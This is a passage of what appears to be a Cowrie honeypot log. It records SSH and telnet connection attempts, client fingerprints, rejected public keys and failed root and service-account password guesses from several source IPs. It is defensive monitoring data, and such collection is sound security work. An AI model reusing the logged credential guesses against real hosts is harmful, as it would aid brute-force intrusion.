16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:44.740264Z","src_ip":"77.94.47.83","session":"b93d03d4ff70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29041994","message":"login attempt [root/29041994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:45.079851Z","src_ip":"77.94.47.83","session":"b93d03d4ff70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:46.195497Z","src_ip":"77.94.47.83","session":"b93d03d4ff70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":38278,"dst_ip":"159.203.135.109","dst_port":22,"session":"0383fb4bbc8c","protocol":"ssh","message":"New connection: 43.166.242.149:38278 (159.203.135.109:22) [session: 0383fb4bbc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:50.663445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:50.666865Z","src_ip":"43.166.242.149","session":"0383fb4bbc8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:50.675937Z","src_ip":"43.166.242.149","session":"0383fb4bbc8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palladium","password":"palladium123","message":"login attempt [palladium/palladium123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:50.747640Z","src_ip":"43.166.242.149","session":"0383fb4bbc8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:51.761037Z","src_ip":"43.166.242.149","session":"0383fb4bbc8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.9377691745758,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:58.093378Z","src_ip":"94.23.66.112","session":"f04f0285726c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.931132793426514,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:12.775869Z","src_ip":"172.81.62.90","session":"5eb6d6db543e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81465458869934,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:13.932909Z","src_ip":"172.81.62.90","session":"9f87091d51c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.197.64","src_port":57152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1320f6f9d653","protocol":"ssh","message":"New connection: 91.208.197.64:57152 (10.17.0.5:22) [session: 1320f6f9d653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:19.255764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:19.260132Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:19.396134Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:4c:11:df:8c:3d:08:ff:b0:6d:8f:14:71:bc:7f:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9nOKTIWzh7GZXViu+utubGCJIOJbhQPIjtoBCy6ghkXqLtuMo2gkq7Irm59MCGYuZ0fK5oY9/wF+Laeg9oJGGnxOQ5/d7/nPKxAflSmc9O9xgHmpM2qV8ieqvaEbo/x5KsBwzWTLvCDSeunQL64hT+j9K0ISfkJ/ywrUrO/TQ4WCRQZDMoxFCNIkN2IHby87qXNMpsAIbxF8a3QF0Ll9WrneQ98x65SOs7/HQZaaxFZIZyOkVFsq31dfsEKJN318wmJy1YmdBN6EFFcSxf8mVGUIHggIi9aJ2E9mK6FHyPKNrmMEfqQMx+svuzxvFL+Y2nOq99QzVClonH2KvCXpBfuSTLkhDPd5BRC7dNBBEwWnzJUHDwOQ2aX/D4J76mEa8ZTKaCLbbc2WNkw8NSGm9GJeBaCZkyI+d6Ogr1IwVfbgdhAVnaC6xdW307gUXiHMjumEI1g6CiojdR+6ACYyXsey3RrRrxhEh85JQ9DJ+v8Rv6pC2chbuSHn4DsAPXqc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:4c:11:df:8c:3d:08:ff:b0:6d:8f:14:71:bc:7f:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.045803Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:4c:11:df:8c:3d:08:ff:b0:6d:8f:14:71:bc:7f:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9nOKTIWzh7GZXViu+utubGCJIOJbhQPIjtoBCy6ghkXqLtuMo2gkq7Irm59MCGYuZ0fK5oY9/wF+Laeg9oJGGnxOQ5/d7/nPKxAflSmc9O9xgHmpM2qV8ieqvaEbo/x5KsBwzWTLvCDSeunQL64hT+j9K0ISfkJ/ywrUrO/TQ4WCRQZDMoxFCNIkN2IHby87qXNMpsAIbxF8a3QF0Ll9WrneQ98x65SOs7/HQZaaxFZIZyOkVFsq31dfsEKJN318wmJy1YmdBN6EFFcSxf8mVGUIHggIi9aJ2E9mK6FHyPKNrmMEfqQMx+svuzxvFL+Y2nOq99QzVClonH2KvCXpBfuSTLkhDPd5BRC7dNBBEwWnzJUHDwOQ2aX/D4J76mEa8ZTKaCLbbc2WNkw8NSGm9GJeBaCZkyI+d6Ogr1IwVfbgdhAVnaC6xdW307gUXiHMjumEI1g6CiojdR+6ACYyXsey3RrRrxhEh85JQ9DJ+v8Rv6pC2chbuSHn4DsAPXqc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.048785Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:02:4d:d4:e1:91:5f:04:96:7a:fe:e2:80:33:1b:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWV0ZQFci6LAkOPO5FWJpPGvCRvETZ5CNv6tVVoQg2u+R3eNfORsHJ44p/QeWC/Mh6lcHQ/p6yHOl8l5wLLxwXq2hR2UwdNzxQCY1AFrlQ4YoveZ9qKhb67ImVPMKlkxI7oO3cJQtxAiRa1nUC7XqEVszn2TkIc+mGaSczpBj6MW9zNe06CiaMLaSRGfml6rO1p/QYx0w5uXQBij/kH1oEL1MBADiUfxH7i2vGr8dfw4iCdmn032GxUccuvecwSujPEJYdXj0SxWZrk0sMgooOe5dxNhSthH8lVid/sWfVrl9w0Of8WYQ3uPyFKOKEClEJgPqgq5OqKSkjdc+L2aNhtvxQcHQRzsFDxag/nSqfqXdQeBxoykY286ECre7JvYweoFXj8K61k3CoYJDXvOrmCX/cGAy1dVGDJ52ZLOfBECJiHkHt2M1AYgoY+YAqf1nrUTLUHXGJo/FviuW8NyEAgF592kJXY5zF8LEMIiMH11luWEsw8xBmTNF3aguk26/7b7Vl/oGdr40udHdGudrj4dIizUp3470bfJchjTqgWgc7+bHHk31vpqKKRBpG8i9dsXMYyPoMxubL3y0z8IkNil4zmpjkSTomCOh0uvs+EA+A+ID77sb1hYQJlfBxsFgnTfmiDRwfA1RW/gu7l6a7w/5+/IU2UFEQfl54lWMXDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:02:4d:d4:e1:91:5f:04:96:7a:fe:e2:80:33:1b:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.182430Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:02:4d:d4:e1:91:5f:04:96:7a:fe:e2:80:33:1b:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWV0ZQFci6LAkOPO5FWJpPGvCRvETZ5CNv6tVVoQg2u+R3eNfORsHJ44p/QeWC/Mh6lcHQ/p6yHOl8l5wLLxwXq2hR2UwdNzxQCY1AFrlQ4YoveZ9qKhb67ImVPMKlkxI7oO3cJQtxAiRa1nUC7XqEVszn2TkIc+mGaSczpBj6MW9zNe06CiaMLaSRGfml6rO1p/QYx0w5uXQBij/kH1oEL1MBADiUfxH7i2vGr8dfw4iCdmn032GxUccuvecwSujPEJYdXj0SxWZrk0sMgooOe5dxNhSthH8lVid/sWfVrl9w0Of8WYQ3uPyFKOKEClEJgPqgq5OqKSkjdc+L2aNhtvxQcHQRzsFDxag/nSqfqXdQeBxoykY286ECre7JvYweoFXj8K61k3CoYJDXvOrmCX/cGAy1dVGDJ52ZLOfBECJiHkHt2M1AYgoY+YAqf1nrUTLUHXGJo/FviuW8NyEAgF592kJXY5zF8LEMIiMH11luWEsw8xBmTNF3aguk26/7b7Vl/oGdr40udHdGudrj4dIizUp3470bfJchjTqgWgc7+bHHk31vpqKKRBpG8i9dsXMYyPoMxubL3y0z8IkNil4zmpjkSTomCOh0uvs+EA+A+ID77sb1hYQJlfBxsFgnTfmiDRwfA1RW/gu7l6a7w/5+/IU2UFEQfl54lWMXDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.185585Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:00:bb:e2:08:3e:88:fb:bd:d0:30:de:ce:69:df:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlBZuUPtfKgHx+hTeYrwWf/oroDdon4qF0vj7pS+ipx8DvUcUt7qer4kRhL3f74q3kGcInXzndsxZzQAjnJ0FcDW0dVkp1cgOOncW4I5CcK5IfOamKaS3HG/GbWMteDFDZ0X1vgGn5NitsCNDOxJby5cmRIePmy6/NFHo9YtyMtzIhajWSdWMlaLhoAJBbdeZPbyZWWx4xqeh6MIzcMGtgXJeDQWQ7WSF4pekt9GVuYXJaPs6s8KZYB4q18VP1bpJN1j0RM5BKzDLWRCtcfOy3AjgxjxFhiyJvlTbZ9vzaOcs2cwEZna3ikbM3jmZ9iqM171kK5BPXrqDDGL9NYEqT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:00:bb:e2:08:3e:88:fb:bd:d0:30:de:ce:69:df:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.319700Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:00:bb:e2:08:3e:88:fb:bd:d0:30:de:ce:69:df:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlBZuUPtfKgHx+hTeYrwWf/oroDdon4qF0vj7pS+ipx8DvUcUt7qer4kRhL3f74q3kGcInXzndsxZzQAjnJ0FcDW0dVkp1cgOOncW4I5CcK5IfOamKaS3HG/GbWMteDFDZ0X1vgGn5NitsCNDOxJby5cmRIePmy6/NFHo9YtyMtzIhajWSdWMlaLhoAJBbdeZPbyZWWx4xqeh6MIzcMGtgXJeDQWQ7WSF4pekt9GVuYXJaPs6s8KZYB4q18VP1bpJN1j0RM5BKzDLWRCtcfOy3AjgxjxFhiyJvlTbZ9vzaOcs2cwEZna3ikbM3jmZ9iqM171kK5BPXrqDDGL9NYEqT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.322596Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:c3:5e:6f:f8:ae:9c:e9:64:1b:f4:a9:52:8b:f7:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWhMXRmhdTobnPSoeDykyw6ckNjLeT1PRFJTZJpL5J9NYuPqi2So/ExdM1AmSo2DoJM7io5tEi8TLAMw3XhQvagcV9J020lkCiNs/8Dap0pFwf5hWnMwU/y67/ZOilSXnhxsJ4g4SSK/ps0OY63WDvl4b8pdOM1SL+tTN2feQaIbyWu0JD+wwUNdM3MGC/07SNSVU3McldBb+Ca1KJPHXFJn7FTJvqXDgDdjOpl78ra9c6jDDLzWlEFkxeEACs+p8Z+Tnj9f3hcwjv1ianPtsIXoFuq1t2RFkNhwnnaqPf1OJIvZEhpvZUdyamJhg0j2uaOJCnSzw9Xzyj0w91kDovL94Tgl7VXpOBqCO8qvhGHRoN/2x3LZRTCNUGtzOF/JN5gw2Vt9F2mgmq0q4lOKtr0iicfTaEgpztIEg5ReNAIs/J52gRRnhe0K7MLw0ss51peJ2tFCHSQZ7480kJdFFU6eIKqt2Fe+4561KgIeax7ubAN4GMTSlFWV0uCcc44KLCmZzGRk1sdTrZWMVOBW1u0RO+QYvcSAhOY0ZajdoIrZBvM1R6AawxxBtpJONKkCn0a4edj4qWT9Fb5OxbHgJZqkXeKNR77lSvzww9+fX3lRfHchH2I8F61TTgoJ8lQPJJgfIRiFFhEtBD7judeB0Zp/ysz7tbJGrUXOtPU/5LEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:c3:5e:6f:f8:ae:9c:e9:64:1b:f4:a9:52:8b:f7:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.460986Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:c3:5e:6f:f8:ae:9c:e9:64:1b:f4:a9:52:8b:f7:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWhMXRmhdTobnPSoeDykyw6ckNjLeT1PRFJTZJpL5J9NYuPqi2So/ExdM1AmSo2DoJM7io5tEi8TLAMw3XhQvagcV9J020lkCiNs/8Dap0pFwf5hWnMwU/y67/ZOilSXnhxsJ4g4SSK/ps0OY63WDvl4b8pdOM1SL+tTN2feQaIbyWu0JD+wwUNdM3MGC/07SNSVU3McldBb+Ca1KJPHXFJn7FTJvqXDgDdjOpl78ra9c6jDDLzWlEFkxeEACs+p8Z+Tnj9f3hcwjv1ianPtsIXoFuq1t2RFkNhwnnaqPf1OJIvZEhpvZUdyamJhg0j2uaOJCnSzw9Xzyj0w91kDovL94Tgl7VXpOBqCO8qvhGHRoN/2x3LZRTCNUGtzOF/JN5gw2Vt9F2mgmq0q4lOKtr0iicfTaEgpztIEg5ReNAIs/J52gRRnhe0K7MLw0ss51peJ2tFCHSQZ7480kJdFFU6eIKqt2Fe+4561KgIeax7ubAN4GMTSlFWV0uCcc44KLCmZzGRk1sdTrZWMVOBW1u0RO+QYvcSAhOY0ZajdoIrZBvM1R6AawxxBtpJONKkCn0a4edj4qWT9Fb5OxbHgJZqkXeKNR77lSvzww9+fX3lRfHchH2I8F61TTgoJ8lQPJJgfIRiFFhEtBD7judeB0Zp/ysz7tbJGrUXOtPU/5LEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.464045Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:c9:22:9b:f5:b9:22:26:3c:67:17:12:ce:f9:9c:8d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPXk6P8tZTqI+wtDLjv+Fxd7tbFKxOby/knQGSTnkZzFKSev0ToRwDaWb1w5xVgkZbp9+2X6yKfpSz786EUbnoykqVXkXaFC62oSNQGuzdawbrHOa5l05WDoMTCd8TKH7FPVdP2EnuDTYYhkfnCo4x2pGuEPcww67F2azE1TSTCdAAAAFQC0Q9gFTM8g+8HMohGRgLsBVUwWrwAAAIAq4NeSZwuNEgRUGWxJb92PLvOqKaivBmtXQbf3OCKk4TH/8dDDf/+G1ytoIwemYpZCYU0VuXAEpZkLh/WRQBkaI/BLS2i/Q8OBkc78nqeObacJDP6qFU2D6LndxQEZH7NJG/3ZtSJ8VPV2plgAe4masgxPTz0FG5X/CSXgNg1y/QAAAIAU50m1a3KE1FQVKLGzv+rTztV2jekcYcgWX8gMY2+fh17koUwJIIrFWJhXWyGCZWMOMa+/9x1WJzEA/zXUWbt+5h0d/0SLABDi7DPtz5Pjj1uz5lqetLnCrlLHGh12AWlTH9gDfNZhDMfdcIHmoHQuocXtHsi1XhJjwiQ34DLvkg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a9:c9:22:9b:f5:b9:22:26:3c:67:17:12:ce:f9:9c:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.599079Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:c9:22:9b:f5:b9:22:26:3c:67:17:12:ce:f9:9c:8d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPXk6P8tZTqI+wtDLjv+Fxd7tbFKxOby/knQGSTnkZzFKSev0ToRwDaWb1w5xVgkZbp9+2X6yKfpSz786EUbnoykqVXkXaFC62oSNQGuzdawbrHOa5l05WDoMTCd8TKH7FPVdP2EnuDTYYhkfnCo4x2pGuEPcww67F2azE1TSTCdAAAAFQC0Q9gFTM8g+8HMohGRgLsBVUwWrwAAAIAq4NeSZwuNEgRUGWxJb92PLvOqKaivBmtXQbf3OCKk4TH/8dDDf/+G1ytoIwemYpZCYU0VuXAEpZkLh/WRQBkaI/BLS2i/Q8OBkc78nqeObacJDP6qFU2D6LndxQEZH7NJG/3ZtSJ8VPV2plgAe4masgxPTz0FG5X/CSXgNg1y/QAAAIAU50m1a3KE1FQVKLGzv+rTztV2jekcYcgWX8gMY2+fh17koUwJIIrFWJhXWyGCZWMOMa+/9x1WJzEA/zXUWbt+5h0d/0SLABDi7DPtz5Pjj1uz5lqetLnCrlLHGh12AWlTH9gDfNZhDMfdcIHmoHQuocXtHsi1XhJjwiQ34DLvkg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.602676Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:20.741000Z","src_ip":"91.208.197.64","session":"1320f6f9d653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46998,"dst_ip":"159.203.135.109","dst_port":22,"session":"3107ef589bc1","protocol":"ssh","message":"New connection: 80.94.92.184:46998 (159.203.135.109:22) [session: 3107ef589bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:45.410069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:45.414168Z","src_ip":"80.94.92.184","session":"3107ef589bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:45.539841Z","src_ip":"80.94.92.184","session":"3107ef589bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:47.544496Z","src_ip":"80.94.92.184","session":"3107ef589bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:07:48.867169Z","src_ip":"80.94.92.184","session":"3107ef589bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac9e6ddfaba6","protocol":"telnet","message":"New connection: 172.81.62.90:46060 (159.203.135.109:23) [session: ac9e6ddfaba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:05.182300Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34046,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b444510ee5","protocol":"telnet","message":"New connection: 172.81.62.90:34046 (159.203.135.109:23) [session: 26b444510ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:08:07.197888Z"}
